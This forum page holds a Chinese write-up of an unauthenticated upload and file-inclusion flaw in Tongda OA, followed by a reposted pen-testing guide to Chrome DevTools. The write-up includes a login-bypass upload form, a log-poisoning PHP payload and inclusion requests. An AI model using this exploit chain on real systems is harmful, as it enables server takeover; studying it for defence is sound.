       通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户,超过500万终端用户
 
影响版本:
  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

 
 
[b]漏洞分析[/b] 
跟进这个文件  ispirit/im/upload.php  
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
这里在数据包里面对p赋值可以绕过登录限制直接上传文件
 

td1.png

这里显示的是未登录
 

td2.png

 
在这里已经绕过登录进行了文件的上传
 

td2.5_.png

 
 
在本地自己构造一个文件上传的页面
<html>
<body>
<form action="http://127.0.0.1:8889/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

td3.png

 
文件名为  随机数字.文件名.格式
 
包含点为  \ispirit\interface\gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {...}
if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}
exit();
}
最后面存在一个包含点
 
直接get传参就行
 
先访问/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>往日志里卖写一句话
 
在访问日志  ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
 
也可以访问刚才上传的图片
 
以post的方式
 
json={"url":"general/../../attach/im/2004/711609261.01.jpg"}
 

td5.png

 
 
后面会给出exp
 
参考:
https://blog.csdn.net/q851579181q/article/details/104968391
https://blog.csdn.net/god_zzZ/article/details/105192808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158579892119725211960470%2522%252C%2522scm%2522%253A%252220140713.130056874..%2522%257D&request_id=158579892119725211960470&biz_id=0&utm_source=distribute.pc_search_result.none-task
 

渗透测试中使用浏览器的正确姿势【转】

渗透测试cat 发表了文章 • 0 个评论 • 201 次浏览 • 2020-03-31 14:56 • 来自相关话题

渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
更强大的账号同步能力只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。


更强大的F12现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。自带flash很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:使用chrome的开发者工具。使用一些必备的插件。 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具在Chrome菜单中选择 更多工具 > 开发者工具F12在页面元素上右键点击,选择 “检查”使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)




 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧




如在屏幕的左侧是最后一个图标




 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!




比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的




使用手机模拟后可以说是相当的舒服:





 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素




 
 
控制台
点击面板中的console,可以进入控制台



 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码alert('hacker by timeshatter')
可以轻松黑掉百度





说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。




 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞





 
然后在控制台中输入POC验证



 
3. 验证一些低危漏洞
如未开启httponly
输入alert(document.cookie)
可以验证哪些重要的cookie未开启httponly




 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。




 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。








 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。




 
下面详细介绍下这个功能




Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置




 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了








 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。




 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过。
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:




格式化后的代码:




 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:








其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。




返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:function onClick() {



 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。




 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码: 
if (inputsAreEmpty()) {





2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。




 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;
2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。




调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。




方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。




以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:




 
把hide和display: none去掉后,效果如下图




好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。




 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用




 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库




 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等




 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页




 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息








 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html
 
  查看全部
渗透的时候使用得最多的就是浏览器和burp了,灵活使用浏览器可以使渗透的效率大大提高,这次就分享下我平时用浏览器的一些技巧。
 
1. 浏览器的选择
首选chrome浏览器,火狐浏览器为辅.
mac的话还可以加个Safari来刷下动漫或用下google hack ~ 
首选chrome的原因主要是以下三点,是火狐没法比的:
  • 更强大的账号同步能力
只要能登录google账号,就能使用chrome强大的跨平台账号同步功能,不但能同步书签、账号密码,还可以同步所有的插件!同步插件这一点特别方便,当我们重装系统或者在其它电脑使用chrome时,只要登录google账号,就可以快速恢复成自己熟透的浏览器了。 而火狐的同步功能就不太让人理想,特别是跨平台同步书签时会出现问题。比如在windows收藏了个书签,又在kali上收藏了几个书签,kali上收藏的书签就无法同步到windows的火狐上。
1.png
  • 更强大的F12
现在的chrome的F12,也就是开发工具在很多方面已经超过火狐了,特别是在JavaScript调试方面,这一点放在后面详细讲解。
  • 自带flash
很多比较老的网站,像学校、政府等行业的网站都需要用到flash,chrome自带flash。 2.那怎样更好地用浏览器做渗透?除了在网页上右键查看源码,还能用浏览器来干什么呢?主要为以下两方面:
  • 使用chrome的开发者工具。
  • 使用一些必备的插件。
 3. 开发者工具的使用chrome为我们提供了强大的开发者工具,下面我主要介绍下渗透中常用到的功能,更详细的资料请查阅官方文档(https://developers.google.com/web/tools/chrome-devtools/) 打开开发者工具有几种方式可以打开chrome的开发者工具
  • 在Chrome菜单中选择 更多工具 > 开发者工具
  • F12
  • 在页面元素上右键点击,选择 “检查”
  • 使用 快捷键Ctrl+Shift+I (Windows) 或 Cmd+Opt+I (Mac)

2.png

 
调整面板
我们首先来调整下面板,让视野更好点:
点击右上方的三个点,在Dock side的地方有四个图标,可以把面板放到屏幕的不同侧
3.png

如在屏幕的左侧是最后一个图标
4.png

 
手机模拟
接下来看下左上方的手机图标,这个功能主要是使网页变成移动版本,也就是手机模拟。
在渗透一些专门为手机设计的网站时特别有用!
5.png

比如https://m.jd.com/ 直接用chrome打开的界面是很不友好的
6.png

使用手机模拟后可以说是相当的舒服:

7.png

 
还有一点是手机模拟的鼠标是模拟触屏的,这一点在一些移动网站需要感应用户的触摸动作时特别有用。在我不知道开发者工具有这个功能时,遇到要触摸动作(如滑动验证码、画轨迹的验证码)的时候,我只能默默的打开我的夜神。。。
 
HTML元素选择
手机模拟左边的图标也是用得比较多的,点一下它可以在网页上选择元素
8.png

 
 
控制台
点击面板中的console,可以进入控制台
9.png
 
控制台功能十分强大,可以用来执行javascript代码 
比如在控制面板上输入以下代码
alert('hacker by timeshatter')

可以轻松黑掉百度

45.png

说笑的,表哥们别打我,逃~
 
这个功能在渗透中主要有以下的作用
 
1. 调用函数、打印或计算一些变量的值
在控制台中可以调用页面中的任意函数,如登录页面的一些加密和解密函数。
10.jpg

 
也可以打印或者计算变量的值,这在调试javascript代码时特别有用,这一点在后面介绍调试功能时再详细讲解。 
2. 验证一些存在漏洞的JavaScript库
比如验证下JQuery版本过低漏洞:
在(http://research.insecurelabs.org/jquery/test/)查找对应版本的漏洞

11.jpg

 
然后在控制台中输入POC验证
12.jpg
 
3. 验证一些低危漏洞
如未开启httponly
输入
alert(document.cookie)

可以验证哪些重要的cookie未开启httponly
13.jpg

 
网络功能
 
点击Network菜单可以打开网络面板
这个功能主要用来查看HTTP请求的状态、请求内容,请求头,响应头,响应内容等,这些功能burp都有,就不详细说了。
用处就是还没开burp时,可以用来快速查看下网页的哪里出错了。
14.jpg

 
值得注意的是,火狐的网络功能可以重新编辑并发送请求,而chrome的不行,这是火狐的一个优点。
在一种情况下比较有用:需要远程登录windows服务器来渗透,并且不能给那台windows上传工具,而电脑上只有一个火狐的时候,只能用火狐手动日了。
15.jpg

16.jpg

 
 
调试功能
 
在Souces菜单中,点击js文件或者有js的页面,可以查看网页的javascript源码,并且可以下断点来调试。这对于分析登录页面使用的加密逻辑、跟踪变量的值和查找DOM XSS特别有用。
17.jpg

 
下面详细介绍下这个功能
18.jpg

Sources 面板界面的 3 个部分
1. File Navigator 窗格。此处列出页面请求的每个文件。
2. Code Editor 窗格。在 File Navigator 窗格中选择文件后,此处会显示该文件的内容。
3. JavaScript Debugging 窗格。检查页面 JavaScript 的各种工具。如果 DevTools 窗口布局较宽,此窗格会显示在 Code Editor 窗格右侧。 
在调试前,先做两个设置,点击此处的设置
19.jpg

 
确保Enable JavaScript souce maps选项和Blackbox content scripts被勾选上了
20.jpg

21.jpg

 
Enable JavaScript souce maps可以开启JavaScript souce maps,因为有些js源码是压缩过的,可读性很差,不方便调试,有可能在这些js源码中声明了未压缩源码的地址,这样chrome的开发者工具可以映射到未压缩的源码来调度,从而提高可读性。
22.jpg

 
而Blackbox content scripts功能可以禁用插件的js代码,遇到插件的js函数这些时,可以直接跳过
接着,源码页面左下角的 {} 图标可以把代码格式化,由于很多js为了节省空间,只有一行,可读性很差,点击{}图标后会跳转到一个格式化后的代码文件中来阅读和下断点
格式化前的代码,只有一行:
24.jpg

格式化后的代码:
25.jpg

 
现在正式开始介绍怎样调试javascript代码
JavaScript Debugging 窗格中可以下各种类型的断点,如下图所示,而火狐可以下的断点类型少得可怜:
26.jpg

27.jpg

其中的Event Listener Breakpoints可以根据各种事件来下断点,如鼠标的点击事件,键盘的输入事件等,以下面的例子来调试
https://googlechrome.github.io/devtools-samples/debug-js/get-started
 
1. 在 JavaScript Debugging 窗格中,点击 Event Listener Breakpoints 以展开该部分。DevTools 会显示 Animation 和 Clipboard 等可展开的事件类别列表。
2. 在 Mouse 事件类别旁,点击三角型按钮。DevTools 会显示 click 和 mousedown 等鼠标事件列表。每个事件旁都有一个复选框。
3. 勾选 click 复选框。DevTools 现在经过设置可以在任何 click 事件侦听器运行时自动暂停。
28.jpg

返回至演示页面,再次点击 Add Number 1 and Number 2。DevTools 会暂停演示并在 Sources 面板中突出显示一行代码。DevTools 应在此代码行暂停:
function onClick() {
29.jpg

 
如果是在其他代码行暂停,请按 Resume Script Execution,直到在正确的代码行暂停为止,这种情况一般是插件捕获了点击事件。
注:如果是在其他代码行暂停,可使用浏览器扩展程序在您访问的每一页上注册一个 click 事件侦听器。使用扩展程序的 click 侦听器可执行暂停操作。如果是采用无痕模式进行隐私浏览,将会停用所有扩展程序,而且您会发现您每次都在正确的代码行暂停。
30.jpg

 
接下来开始调试代码 
1. 在 DevTools 的 Sources 面板上,点击 Step into next function call,以便一次一行地单步调试 onClick() 函数的执行。DevTools 突出显示下面这行代码:
 

if (inputsAreEmpty()) {

31.jpg

2. 点击 Step over next function call 。DevTools 执行但不进入 inputsAreEmpty()。请注意 DevTools 是如何跳过几行代码的。这是因为 inputsAreEmpty() 求值结果为 false,所以 if 语句的代码块未执行。
32.jpg

 设置代码行断点
代码行断点是最常见的断点类型。如果您想在执行到某一行代码时暂停,请使用代码行断点:
1.看一下 updateLabel() 中的最后一行代码:
label.textContent = addend1 + ' + ' + addend2 + ' = ' + sum;

2. 在这行代码的左侧,您可以看到这行代码的行号是 32。点击 32。DevTools 会在 32 上方放置一个蓝色图标。这意味着这行代码上有一个代码行断点。DevTools 现在始终会在执行此行代码之前暂停。
3. 点击 Resume script execution。脚本将继续执行,直到第 32 行。在第 29 行、第 30 行和第 31 行上,DevTools 会在各行分号右侧输出 addend1、addend2 和 sum 的值。
33.jpg

调试时,可以检查变量的值
方法 1:Scope 窗格
在某代码行暂停时,Scope 窗格会显示当前定义的局部和全局变量,以及各变量值。其中还会显示闭包变量(如果适用)。双击变量值可进行编辑。如果不在任何代码行暂停,则 Scope 窗格为空。
34.jpg

方法 2:控制台
除了查看 console.log() 消息以外,您还可以使用控制台对任意 JavaScript 语句求值。 
 
在 Console 中,输入 parseInt(addend1) + parseInt(addend2)。此语句有效,因为您会在特定代码行暂停,其中 addend1 和 addend2 在范围内。
按 Enter 键。DevTools 对语句求值并打印输出 6,即您预计演示页面会产生的结果。
35.jpg

以上就是常用的一些调试js代码的方法,熟练使用调试功能可以在渗透时分析网页的功能带来巨大的帮助!更多详细的用法请查看:(https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints)
 
编辑HTML功能
 
开发工具也看开发工具也可以修改HTML源码,比如把一些隐藏的忘记密码步骤显示出来在在Elements功能中,双击要修改的内容,修改完后单击下外面,即可生效:
36.jpg

 
把hide和display: none去掉后,效果如下图
37.jpg

好了,以上就是常用的开发者功能,更多详细的介绍请查看
https://developers.google.com/web/tools/chrome-devtools/
 
3. 一些常用的插件
 
最后,我分享下我的一些必备的插件
 
1. SwitchyOmega
这个插件主要用来方便切换代理,有了它就可以方便地在burp代理和正常浏览中切换了,不用手动设置代理。
38.png

 
2.沙拉查词-聚合词典划词翻译
这个插件主要用于看英文博客,十分好用
39.jpg

 
3.Retire.js
这个插件主要用于查看网页是否存在有漏洞的js库
40.jpg

 
4.wappalyzer
这个插件用于查看网站使用的技术,如中间件、语言、框架等
41.jpg

 
5.OneTab
这个插件用于管理标签页,渗透时经常打开大量标签页,点一下它会全部变成一个标签列表,以后用到时再打开需要查看的标签页
42.jpg

 
6.Shodan 或者 IP Address and Domain Information
这两个方便快速查看开放的端口和ip地址等信息
43.png

44.jpg

 
本文作者:timeshatter
转载自:https://www.secpulse.com/archives/126223.html